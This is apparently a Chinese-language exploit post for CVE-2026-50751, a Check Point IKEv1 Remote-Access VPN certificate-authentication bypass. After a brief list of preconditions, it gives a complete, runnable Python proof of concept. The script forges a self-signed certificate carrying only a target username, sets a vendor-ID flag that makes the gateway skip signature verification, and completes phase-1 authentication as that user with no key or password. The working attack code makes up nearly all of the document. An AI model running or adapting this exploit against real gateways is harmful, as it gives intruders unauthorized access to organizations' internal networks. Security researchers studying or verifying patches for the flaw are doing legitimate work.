CVE-2026-50751｜Check Point VPN身份验证绕过漏洞（POC）

漏洞利用前提条件：
1、网关启用 Remote Access VPN 或 Mobile Access 功能模块
2、网关允许来自旧版 Remote Access 客户端的连接（Legacy client support 已启用）
3、IKEv1 协议未被禁用（未配置为 IKEv2-Only）
4、网关未强制要求机器证书认证

#!/usr/bin/env python3
#
# watchTowr-vs-Check-Point-CVE-2026-50751.py
# Check Point IKEv1 Remote-Access VPN certificate-authentication bypass (CVE-2026-50751).
#
# Given only a valid Remote-Access --username, authenticate as that user with NO private key, NO
# password and NO valid certificate. The vulnerable iked skips verify_peer_auth/verifyMessagePhase1
# (it reads attacker-controlled flags from the VPNExtFeatures Vendor ID, bit 0x4), so neither the
# certificate's signature (proof of possession) NOR its trust chain is checked -- only that the
# subject DN resolves to a provisioned user. We forge a self-signed certificate whose subject is
# CN=<username>,OU=<ou>,O=<ICA-O> (the ICA organisation is the gateway's own, auto-derived from its
# public TLS certificate) and present it with an invalid signature. A granted phase-1 means the
# gateway has authenticated us AS that user (it saves the ISAKMP SA under the user's DN) with no
# private key and no password. (Cert mode then runs a separate certificate-based XAUTH step -- also
# passwordless -- which a full Office-Mode session would additionally complete.) Works over IKE
# (UDP 500/4500) and over Visitor-Mode "SSL" (raw TCP/443, TCPT). The hotfix (sk185033) restores the
# signature check.
#
# Requires: pip install cryptography
#
import argparse
import socket
import struct
import os
import sys
import time
import enum
import hashlib
import hmac
import ssl
import datetime
import logging
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Configure logging
logger = logging.getLogger(__name__)

# ---------------------------------------------------------------------------
# IKEv1 phase-1 cryptography (RFC 2409): key schedule + AES-256-CBC.
# Transform we negotiate: ENCR=AES-256-CBC, PRF/hash=SHA1, DH MODP-1024 (group 2).
# ---------------------------------------------------------------------------
class IKEv1Keys:
    """IKEv1 phase-1 key schedule (RFC 2409 sec 5) for signature auth, AES-256 + SHA1."""

    # Diffie-Hellman MODP group 2 (1024-bit), RFC 2409.
    DH_P = int(
        "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74"
        "020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437"
        "4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED"
        "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF", 16)
    DH_G = 2

    def __init__(self, priv, my_pub, icookie, rcookie, ni, nr, server_ke, enc_keylen=32, iv_len=16):
        gxy = pow(server_ke, priv, self.DH_P).to_bytes(128, "big")            # shared DH secret g^xy
        self.skeyid = self.prf(ni + nr, gxy)                                  # sig: prf(Ni|Nr, g^xy)
        skeyid_d = self.prf(self.skeyid, gxy + icookie + rcookie + b"\x00")
        skeyid_a = self.prf(self.skeyid, skeyid_d + gxy + icookie + rcookie + b"\x01")
        skeyid_e = self.prf(self.skeyid, skeyid_a + gxy + icookie + rcookie + b"\x02")
        self.enc_key = self._expand(skeyid_e, enc_keylen)                # expand SKEYID_e -> AES-256 key
        # Phase-1 IV seed = SHA1(g^xi | g^xr) truncated to the cipher block size.
        self.iv = hashlib.sha1(my_pub.to_bytes(128, "big") + server_ke.to_bytes(128, "big")).digest()[:iv_len]

    @staticmethod
    def _expand(skeyid_e, length):
        # RFC 2409: lengthen a too-short key with iterated PRF chaining (Ka = prf(K, Ka-1)).
        if len(skeyid_e) >= length:
            return skeyid_e[:length]
        block = IKEv1Keys.prf(skeyid_e, b"\x00")
        out = block
        while len(out) < length:
            block = IKEv1Keys.prf(skeyid_e, block)
            out += block
        return out[:length]

    def enc(self, plaintext, iv):
        cipher = Cipher(algorithms.AES(self.enc_key), modes.CBC(iv), backend=default_backend())
        op = cipher.encryptor()
        return op.update(plaintext) + op.finalize()

    def dec(self, ciphertext, iv):
        cipher = Cipher(algorithms.AES(self.enc_key), modes.CBC(iv), backend=default_backend())
        op = cipher.decryptor()
        return op.update(ciphertext) + op.finalize()

    @staticmethod
    def prf(key, data):
        # IKEv1 pseudo-random function for the negotiated SHA1 hash = HMAC-SHA1.
        return hmac.new(key, data, hashlib.sha1).digest()

# ---------------------------------------------------------------------------
# ISAKMP / IKEv1 protocol constants (RFC 2408 / RFC 2409)
# ---------------------------------------------------------------------------
class PayloadType(enum.IntEnum):
    NONE = 0
    SECURITY_ASSOCIATION = 1
    KEY_EXCHANGE = 4
    IDENTIFICATION = 5
    CERTIFICATE = 6
    SIGNATURE = 9
    NONCE = 10
    NOTIFY = 11
    VENDOR_ID = 13

class ExchangeType(enum.IntEnum):
    MAIN_MODE = 2
    INFORMATIONAL = 5
    TRANSACTION = 6          # XAUTH second factor (phase 1.5)

class AuthMethod(enum.IntEnum):
    RSA_SIGNATURE = 3                 # certificate auth (no XAUTH password)

ID_DER_ASN1_DN = 9                    # IKEv1 ID type: an X.501 distinguished name (the cert subject)
CERT_ENCODING_X509_SIG = 4            # Certificate payload encoding: X.509 cert (signature)

# IKEv1 transform attribute values for the proposal we offer (a Check Point cert-realm gateway
# accepts): AES-256-CBC / SHA1 / DH MODP-1024 (group 2) / RSA signature.
ENCR_AES_CBC = 7
HASH_SHA1 = 2
DH_GROUP_2 = 2
AES_KEY_LEN = 256

ISAKMP_FLAG_ENCRYPTION = 0x01
NON_ESP_MARKER = b"\x00\x00\x00\x00"     # prefixed on UDP/4500 to distinguish IKE from ESP

# Check Point "Visitor Mode" TCPT tunnel: raw TCP on 443 (NOT TLS), 8-byte frame header
# [u32 be payload-length][u32 be type] then payload.  type 1=handshake, 2=IKE, 4=ESP.
TCPT_TYPE_HANDSHAKE = 1
TCPT_TYPE_IKE = 2

# The CVE-2026-50751 trigger: the Check Point "VPNExtFeatures" Vendor ID (16-byte magic) + a 4-byte
# value. The vulnerable iked writes those bytes to *(state+0x4bc4); bit 0x4 makes verify_peer_auth
# skip verifyMessagePhase1 (the certificate signature / proof-of-possession check).
VPNEXTFEATURES_MAGIC = bytes.fromhex("3cf187b2474029ea46ac7fd0eaf289f5")
VPNEXTFEATURES_VID = VPNEXTFEATURES_MAGIC + struct.pack(">I", 0x00000004)

# ---------------------------------------------------------------------------
# Forged identity: a self-signed certificate built from just a username
# ---------------------------------------------------------------------------
class ForgedIdentity:
    """A self-signed certificate whose subject DN is CN=<username>,OU=<ou>,O=<ICA-O> (DER order
    O, OU, CN). The CVE skips both the signature and the trust chain, so the certificate need not be
    real and its signature is sent as invalid random bytes; only the subject DN (the username) has to
    match a provisioned Remote-Access user."""

    def __init__(self, username, org, ou="users"):
        self.subject = x509.Name([
            x509.NameAttribute(NameOID.ORGANIZATION_NAME, org),
            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, ou),
            x509.NameAttribute(NameOID.COMMON_NAME, username),
        ])
        key = rsa.generate_private_key(public_exponent=65537, key_size=2048)   # throwaway, never used
        now = datetime.datetime.utcnow()
        cert = (x509.CertificateBuilder().subject_name(self.subject).issuer_name(self.subject)
                .public_key(key.public_key()).serial_number(x509.random_serial_number())
                .not_valid_before(now - datetime.timedelta(days=1))
                .not_valid_after(now + datetime.timedelta(days=3650)).sign(key, hashes.SHA256()))
        self.cert_der = cert.public_bytes(serialization.Encoding.DER)
        self.subject_dn_der = self.subject.public_bytes()

    def __str__(self):
        return self.subject.rfc4514_string()

    @staticmethod
    def derive_org(host, timeout=8):
        """Auto-derive the ICA organisation (O=) from the gateway's own public TLS certificate."""
        ctx = ssl._create_unverified_context()
        with socket.create_connection((host, 443), timeout=timeout) as raw, \
             ctx.wrap_socket(raw, server_hostname=host) as s:
            der = s.getpeercert(binary_form=True)
        cert = x509.load_der_x509_certificate(der)
        for attr in list(cert.issuer) + list(cert.subject):   # the ICA is the issuer; subject carries O= too
            if attr.oid == NameOID.ORGANIZATION_NAME:
                return attr.value
        raise RuntimeError("no organization (O=) found in the gateway certificate")

# ---------------------------------------------------------------------------
# Result of the exploit attempt
# ---------------------------------------------------------------------------
class RunnerStatus(enum.Enum):
    NO_RESPONSE = enum.auto()       # nothing answered on the wire
    NO_CERT_REALM = enum.auto()     # gateway did not accept certificate (RSA-SIG) auth
    BYPASSED = enum.auto()          # phase-1 authenticated as the user (forged cert + invalid signature)
    REJECTED = enum.auto()          # gateway rejected (patched, or the username is not provisioned)
    INCONCLUSIVE = enum.auto()      # no decisive answer (rate-limited / dropped)

# ---------------------------------------------------------------------------
# Minimal IKEv1 Main-Mode client (certificate auth, AES-256/SHA1/DH-2), UDP or TCPT/443
# ---------------------------------------------------------------------------
class Ike:
    _HDR = struct.Struct(">8s8sBBBBII")   # i-cookie, r-cookie, next, ver, exch, flags, msg-id, len
    _GEN = struct.Struct(">BBH")          # generic payload header: next, reserved, length

    def __init__(self, host, port, timeout, tcpt=False):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.tcpt = tcpt                       # Visitor-Mode raw-TCP tunnel on 443
        self.natt = (port == 4500) and not tcpt
        self.icookie = os.urandom(8)
        self.rcookie = b"\x00" * 8
        self.priv = None                       # DH/nonce material, set when sending msg3
        self.pub = None
        self.nonce = None
        self.tcpt_ok = False
        if tcpt:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.settimeout(timeout)
            self.sock.connect((host, port))
            self.tcpt_ok = self._tcpt_handshake()
        else:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.settimeout(timeout)
            # Source port 500 is nicer to some peers but needs root; fall back to ephemeral.
            try:
                self.sock.bind(("0.0.0.0", 500))
            except (PermissionError, OSError):
                self.sock.bind(("0.0.0.0", 0))

    # --- wire helpers ------------------------------------------------------
    def _payload(self, next_type, body):
        return self._GEN.pack(next_type, 0, 4 + len(body)) + body

    def _read_exact(self, n):
        buf = b""
        while len(buf) < n:
            try:
                c = self.sock.recv(n - len(buf))
            except socket.timeout:
                return None
            if not c:
                return None
            buf += c
        return buf

    def _tcpt_handshake(self):
        """Open the Visitor-Mode tunnel. Returns True if the gateway accepts it (status 0)."""
        self.sock.sendall(struct.pack(">II", 12, TCPT_TYPE_HANDSHAKE) + struct.pack(">III", 1, 2, 1))
        hdr = self._read_exact(8)
        if not hdr:
            return False
        ln, typ = struct.unpack(">II", hdr)
        body = self._read_exact(ln) if 0 < ln <= 64 else b""
        return bool(typ == TCPT_TYPE_HANDSHAKE and body and len(body) >= 4
                    and struct.unpack(">I", body[:4])[0] == 0)

    def send(self, first_payload, exchange, flags, body):
        header = self._HDR.pack(self.icookie, self.rcookie, first_payload, 0x10,
                                exchange, flags, 0, 28 + len(body))
        packet = header + body
        if self.tcpt:                          # wrap in a TCPT type-2 (IKE) frame
            self.sock.sendall(struct.pack(">II", len(packet), TCPT_TYPE_IKE) + packet)
        elif self.natt:
            self.sock.sendto(NON_ESP_MARKER + packet, (self.host, self.port))
        else:
            self.sock.sendto(packet, (self.host, self.port))

    def recv(self):
        """Receive one ISAKMP message and return a parsed dict, or None on timeout."""
        if self.tcpt:
            for _ in range(8):                 # skip any non-IKE TCPT frames (keepalive, etc.)
                hdr = self._read_exact(8)
                if not hdr:
                    return None
                ln, typ = struct.unpack(">II", hdr)
                payload = self._read_exact(ln) if 0 < ln <= 65535 else b""
                if payload is None:
                    return None
                if typ == TCPT_TYPE_IKE:
                    return self._parse(payload)
            return None
        try:
            data, _ = self.sock.recvfrom(65535)
        except socket.timeout:
            return None
        if self.natt and data[:4] == NON_ESP_MARKER:
            data = data[4:]
        return self._parse(data)

    def _parse(self, data):
        if len(data) < 28:
            return None
        icookie, rcookie, first, ver, exch, flags, msgid, length = self._HDR.unpack(data[:28])
        return {
            "rcookie": rcookie,
            "exchange": exch,
            "flags": flags,
            "encrypted": bool(flags & ISAKMP_FLAG_ENCRYPTION),
            "first": first,                 # first payload type (to walk a decrypted body)
            "payloads": self._walk(data[28:], first),
            "body": data[28:],              # raw payload blob (still encrypted for msg6)
        }

    def _walk(self, blob, first_type):
        """Walk a chain of generic payloads -> list of (payload_type, payload_body)."""
        payloads = []
        offset, next_type = 0, first_type
        while next_type != PayloadType.NONE and offset + 4 <= len(blob):
            nxt, _reserved, plen = self._GEN.unpack(blob[offset:offset + 4])
            if plen < 4 or offset + plen > len(blob):
                break
            payloads.append((next_type, blob[offset + 4:offset + plen]))
            next_type = nxt
            offset += plen
        return payloads

    # --- message builders --------------------------------------------------
    def build_sa_payload(self):
        """Single IKEv1 phase-1 proposal: AES-256 / SHA1 / DH-2 / RSA-signature (certificate) auth."""
        attrs = b"".join(struct.pack(">HH", 0x8000 | t, v) for t, v in [
            (1, ENCR_AES_CBC),                  # Encryption algorithm
            (14, AES_KEY_LEN),                  # Key length (AES-256)
            (2, HASH_SHA1),                     # Hash algorithm
            (3, AuthMethod.RSA_SIGNATURE),      # Authentication method (certificate)
            (4, DH_GROUP_2),                    # Diffie-Hellman group
        ])
        transform = struct.pack(">BBH", 0, 0, 8 + len(attrs)) + struct.pack(">BBBB", 1, 1, 0, 0) + attrs
        # ISAKMP SA proposal: SPI size MUST be 0 (the cookies are the SPI for phase 1).
        proposal = struct.pack(">BBHBBBB", 0, 0, 8 + len(transform), 1, 1, 0, 1) + transform
        # DOI = IPSEC(1), Situation = SIT_IDENTITY_ONLY(1)
        return struct.pack(">II", 1, 1) + proposal

    def send_msg1(self):
        """msg1: SA proposal (RSA-SIG) + the VPNExtFeatures VID (bit 0x4 set)."""
        body = self._payload(PayloadType.VENDOR_ID, self.build_sa_payload())
        body += self._payload(PayloadType.NONE, VPNEXTFEATURES_VID)
        self.send(PayloadType.SECURITY_ASSOCIATION, ExchangeType.MAIN_MODE, 0, body)

    def send_msg3(self):
        """msg3: KE (our DH public) + Ni (nonce)."""
        self.priv = int.from_bytes(os.urandom(128), "big") % IKEv1Keys.DH_P
        self.pub = pow(IKEv1Keys.DH_G, self.priv, IKEv1Keys.DH_P)
        self.nonce = os.urandom(32)
        body = self._payload(PayloadType.NONCE, self.pub.to_bytes(128, "big"))
        body += self._payload(PayloadType.NONE, self.nonce)
        self.send(PayloadType.KEY_EXCHANGE, ExchangeType.MAIN_MODE, 0, body)

    def send_msg5(self, keys, forged):
        """msg5 (encrypted): ID (forged subject DN) + CERT (self-signed) + an invalid signature."""
        idii = struct.pack(">BBH", ID_DER_ASN1_DN, 0, 0) + forged.subject_dn_der
        cert = struct.pack(">B", CERT_ENCODING_X509_SIG) + forged.cert_der
        invalid_sig = os.urandom(256)                          # no private key -> junk signature
        inner = (self._payload(PayloadType.CERTIFICATE, idii)      # ID payload, next = CERT
                 + self._payload(PayloadType.SIGNATURE, cert)      # CERT payload, next = SIG
                 + self._payload(PayloadType.NONE, invalid_sig))   # SIG payload, next = NONE
        inner += b"\x00" * ((-len(inner)) % 16)                    # pad to AES block size
        ciphertext = keys.enc(inner, keys.iv)
        self.send(PayloadType.IDENTIFICATION, ExchangeType.MAIN_MODE, ISAKMP_FLAG_ENCRYPTION, ciphertext)
        return ciphertext[-16:]                                    # CBC IV the gateway uses for msg6


# ---------------------------------------------------------------------------
# Exploit
# ---------------------------------------------------------------------------
class Runner:

    @staticmethod
    def exploit(ike, forged, retries=1):
        """Complete IKEv1 certificate (RSA-SIG) phase-1 with the forged cert + invalid signature and
        report whether the gateway authenticated us as the user.

        Vulnerable iked: verify_peer_auth bit 0x4 skips verifyMessagePhase1 -> neither the signature
        nor the trust chain is checked -> if the subject DN resolves to a provisioned user, phase-1
        completes and the gateway saves the ISAKMP SA as that user -> BYPASSED. Patched iked:
        verifyMessagePhase1 rejects the invalid signature before any user lookup.
        """
        # --- msg1 -> msg2: offer the certificate (RSA-SIG) proposal + VPNExtFeatures bit 0x4 ---
        reply = None
        for attempt in range(retries + 1):
            logger.debug(f"[~] -> Main-Mode msg1 (RSA-SIG proposal + VPNExtFeatures VID) [try {attempt + 1}]")
            ike.send_msg1()
            reply = ike.recv()
            if reply is not None:
                break
            time.sleep(0.4)
        if reply is None:
            return RunnerStatus.NO_RESPONSE
        if reply["exchange"] != ExchangeType.MAIN_MODE or \
           not any(t == PayloadType.SECURITY_ASSOCIATION for t, _ in reply["payloads"]):
            return RunnerStatus.NO_CERT_REALM
        ike.rcookie = reply["rcookie"]

        # --- msg3 -> msg4: Diffie-Hellman exchange ---
        ike.send_msg3()
        msg4 = ike.recv()
        if msg4 is None:
            return RunnerStatus.INCONCLUSIVE
        server_ke = next((b for t, b in msg4["payloads"] if t == PayloadType.KEY_EXCHANGE), None)
        server_nonce = next((b for t, b in msg4["payloads"] if t == PayloadType.NONCE), None)
        if server_ke is None or server_nonce is None:
            return RunnerStatus.INCONCLUSIVE
        keys = IKEv1Keys(ike.priv, ike.pub, ike.icookie, ike.rcookie,
                         ike.nonce, server_nonce, int.from_bytes(server_ke, "big"))

        # --- msg5: forged certificate + invalid signature ---
        logger.debug("[~] -> msg5 (encrypted: forged ID + self-signed CERT + invalid SIG)")
        time.sleep(0.4)
        msg6_iv = ike.send_msg5(keys, forged)

        # --- observe: encrypted msg6 = authenticated as the user; NOTIFY = rejected ---
        for _ in range(6):
            reply = ike.recv()
            if reply is None:
                time.sleep(0.5)
                continue
            logger.debug(f"[~] <- exchange={reply['exchange']} encrypted={reply['encrypted']}")
            if reply["exchange"] == ExchangeType.INFORMATIONAL:
                return RunnerStatus.REJECTED
            if reply["exchange"] == ExchangeType.MAIN_MODE and reply["encrypted"]:
                # Decrypt the gateway's msg6 with the negotiated session key. This succeeds only if
                # we hold the genuine phase-1 key -> self-evident proof we are in the authenticated SA.
                Runner._prove_session(ike, keys, reply, msg6_iv)
                return RunnerStatus.BYPASSED
        return RunnerStatus.INCONCLUSIVE

    @staticmethod
    def _prove_session(ike, keys, msg6, iv):
        """Decrypt msg6 and log the gateway's internal IP (from its ID payload), recovered with the
        session key which proves the bypass yielded a real authenticated SA."""
        try:
            plain = keys.dec(msg6["body"], iv)
            ip = None
            for ptype, body in ike._walk(plain, msg6["first"]):
                if ptype == PayloadType.IDENTIFICATION and len(body) >= 4:
                    if body[0] == 1 and len(body) >= 8:               # ID_IPV4_ADDR
                        ip = ".".join(str(b) for b in body[4:8])
            if ip:
                logger.info(f"[#] Decrypting...")
                logger.info(f"[+] Gateway Internal IP: {ip}")
        except Exception as e:
            logger.debug(f"[~] msg6 decrypt failed ({e}); BYPASSED still holds (encrypted msg6 received)")


def main(args):
    banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-Check-Point-CVE-2026-50751.py

        (*)  Check Point IKEv1 Remote-Access VPN certificate-auth bypass Detection Artifact Generator

          - McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-50751]

"""
    print(banner)

    logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO,
                        format="%(message)s", stream=sys.stdout)
    logging.info("[#] CVE-2026-50751 Check Point IKEv1 Remote-Access certificate-auth bypass")

    # Forge the victim's identity from just the username (the ICA O= is the gateway's own org).
    org = args.org
    if not org:
        logger.debug("[#] Deriving the gateway's ICA organisation (O=) from its TLS certificate...")
        try:
            org = ForgedIdentity.derive_org(args.rhost)
        except Exception as e:
            logger.error(f"[-] Could not derive the ICA O= from the gateway (pass --org): {e}")
            return
    logger.debug(f"[+] ICA organisation (O=) : {org!r}")
    forged = ForgedIdentity(args.username, org, args.ou)
    logger.debug(f"[+] Forged identity       : {forged}")
    logger.info("[+] Self-signed cert (untrusted); signature will be invalid (no private key)")

    # Connect: UDP for IKE, raw-TCP TCPT for Visitor-Mode/443.
    use_tcpt = args.tcpt or args.rport == 443
    proto = "tcp/tcpt" if use_tcpt else "udp"
    logger.info(f"[#] Connecting via {proto} ...")
    try:
        ike = Ike(args.rhost, args.rport, args.timeout, tcpt=use_tcpt)
    except OSError as e:
        logger.error(f"[-] Cannot connect to {args.rhost}:{args.rport} ({e})")
        return
    if use_tcpt:
        if not ike.tcpt_ok:
            logger.error("[-] No Check Point Visitor-Mode (TCPT) tunnel on this port")
            return
        logger.info("[+] Visitor-Mode (TCPT) tunnel open (raw TCP, IKE-over-TCPT)")

    # Run the bypass.
    logger.info(f"[#] Authenticating as '{args.username}' with the forged certificate + invalid signature...")
    result = Runner.exploit(ike, forged, args.retries)

    if result == RunnerStatus.BYPASSED:
        logger.info(f"[+] [BYPASSED] Gateway authenticated us as '{args.username}'. CVE-2026-50751 certificate-authentication bypass confirmed.")
    elif result == RunnerStatus.NO_CERT_REALM:
        logger.error("[-] [NO_CERT_REALM] Gateway did not accept the certificate (RSA-SIG) proposal "
                     "(not in Certificate / Certificate-with-enrollment / Mixed mode, or it requires "
                     "a non-default IKE transform)")
    elif result == RunnerStatus.REJECTED:
        logger.info(f"[-] [REJECTED] Gateway rejected. On a VULNERABLE gateway this usually means "
                    f"'{args.username}' is not a provisioned RA user (try another); a PATCHED gateway "
                    f"rejects the forged signature.")
    elif result == RunnerStatus.NO_RESPONSE:
        logger.error("[-] [NO_RESPONSE] No response (no IKE service, filtered, down, or rate-limited)")
    else:
        logger.warning("[!] [INCONCLUSIVE] No decisive response (the IKE responder rate-limits; retry shortly)")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Check Point IKEv1 RA VPN CVE-2026-50751 certificate-auth bypass")
    parser.add_argument("-rh", "--rhost", required=True, help="Remote host")
    parser.add_argument("-rp", "--rport", type=int, default=500, help="Remote port (UDP 500/4500, or TCP 443 for Visitor Mode)")
    parser.add_argument("-u", "--username", required=True, help="Remote-Access username to impersonate")
    parser.add_argument("--org", help="ICA organization (O=) DN suffix; auto-derived from the gateway cert if omitted")
    parser.add_argument("--ou", default="users", help="OU= component of the user DN (default: users)")
    parser.add_argument("-t", "--timeout", type=int, default=6, help="Timeout in seconds (default: 6)")
    parser.add_argument("-r", "--retries", type=int, default=1, help="msg1 retries (default: 1)")
    parser.add_argument("--tcpt", action="store_true", help="Use Check Point Visitor-Mode TCPT tunnel (raw TCP); auto-enabled for -rp 443")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    main(parser.parse_args())